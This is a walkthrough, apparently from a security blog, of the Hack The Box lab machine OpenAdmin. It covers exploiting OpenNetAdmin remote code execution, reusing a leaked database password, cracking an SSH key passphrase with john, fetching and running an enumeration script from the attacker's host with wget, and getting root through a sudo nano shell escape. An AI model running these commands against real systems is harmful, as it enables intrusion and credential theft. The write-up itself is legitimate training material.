OpenAdmin.htb

This is a detailed walk-thru for openadmin.htb written by dR1PPy

The first new machine of 2020!
And first blood was taken in 11 minutes, that is very impressive even for an easy target like this one.

Overall a very straight forward challenge, and a great target to practice the entire attackers methodology.

Enumeration

Our standard network scan reveals the usual suspects.

Services
========

host          port  proto  name  state  info
----          ----  -----  ----  -----  ----
10.10.10.171  22    tcp    ssh   open   OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0
10.10.10.171  80    tcp    http  open   Apache httpd 2.4.29 (Ubuntu)

Web content enumeration helps find a possible target at the following URL.

http://10.10.10.171/ona/

Seems to be a product named Open Net Admin.

A Google search helps us find a possible POC for Remote Code Execution.
https://www.exploit-db.com/raw/47691

Using this we are able to get an initial shell on the machine.

bash open-net-admin-exploit.sh http://10.10.10.171/ona/login.php
$whoami
www-data
$pwd
/opt/ona/www

We do some more enumeration and find we are locking into one directory, and in this directory we find what we need.

$cat local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

We also find some local usernames.

$ls -lha /home/
total 16K
drwxr-xr-x  4 root   root   4.0K Nov 22 18:00 .
drwxr-xr-x 24 root   root   4.0K Nov 21 13:41 ..
drwxr-x---  6 jimmy  jimmy  4.0K Jan 18 10:48 jimmy
drwxr-x---  6 joanna joanna 4.0K Jan 18 11:52 joanna

We try our new password with the username of jimmy and we get a user shell.

ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

Checking the Apache configuration shows us another internal website hosted on another port.

jimmy@openadmin:/var/www/internal$ cat /etc/apache2/sites-enabled/internal.conf 
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

We enumerate the pages of the site to see it has a hardcoded password stored.

jimmy@openadmin:/var/www/internal$ cat index.php 
<?php
   ob_start();
   session_start();
?>

<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>

And it also runs a shell command to extract Joanna’s private SSH key

jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

We save ourselves some time when we find the hashed value with a simple Google search.

https://md5hashing.net/hash/haval224%2C4/ce4762c57b631ebb666cb5c751e90b124664b02f43e467bc2cd68f58

Our search tells us the password is “Revealed” and now we have the information needed to access this internal site and get another set of credentials. Another piece of the puzzle of this challenge.

So we setup a port forward to allow us to access the remote URL locally.

ssh -L 52846:127.0.0.1:52846 jimmy@10.10.10.171

Then we access the site and login with our new credentials.

Now we see the main.php along with the ssh key pulled from Joanna’s home folder.

http://localhost:52846/main.php

We copy out the key and ask john to crack the password for us.

/usr/share/john/ssh2john.py /TARGET/joanna.key > /TARGET/joanna.key.hash

john --wordlist=rockyou.txt /TARGET/joanna.key.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (/tmp/priv)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:04 DONE (2020-01-18 16:18) 0.2150g/s 3084Kp/s 3084Kc/s 3084KC/s *7¡Vamos!
Session completed

Now we are able to login as Joanna to collect our user flag.

ssh -i /TARGET/joanna.key joanna@10.10.10.171

Privilege Escalation

Now as Joanna we fire up our new favorite Linux enumeration tool.
https://github.com/SolomonSklash/htbenum

wget http://10.10.14.32/htbenum.sh -O /tmp/htbenum.sh
chmod +x ./htbenum.sh
./htbenum.sh -i 10.10.14.32 -p 80 -r

After a few minutes we find our path to escalation.

[+] We can sudo without supplying a password!
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv


[+] Possible sudo pwnage!
/bin/nano

We reference GTFOBins for some proper syntax.

sudo nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
#whomai
root                                                                                                         ^X Read File
# cat /root/root.txt                                                                                                M-F New Buffer

Congrats You are Now the Open Network Admin!

Resources

OpenNetAdmin RCE
https://www.exploit-db.com/raw/47691

New favorite Linux Enum Tool
https://github.com/SolomonSklash/htbenum

GTFOBins
https://gtfobins.github.io/gtfobins/nano/

[security.pimp]

OpenAdmin.htb

Enumeration

Privilege Escalation

Resources

Like this:

Leave a Reply Cancel reply

OpenAdmin.htb

Enumeration

Privilege Escalation

Resources

Share this:

Like this:

Leave a Reply Cancel reply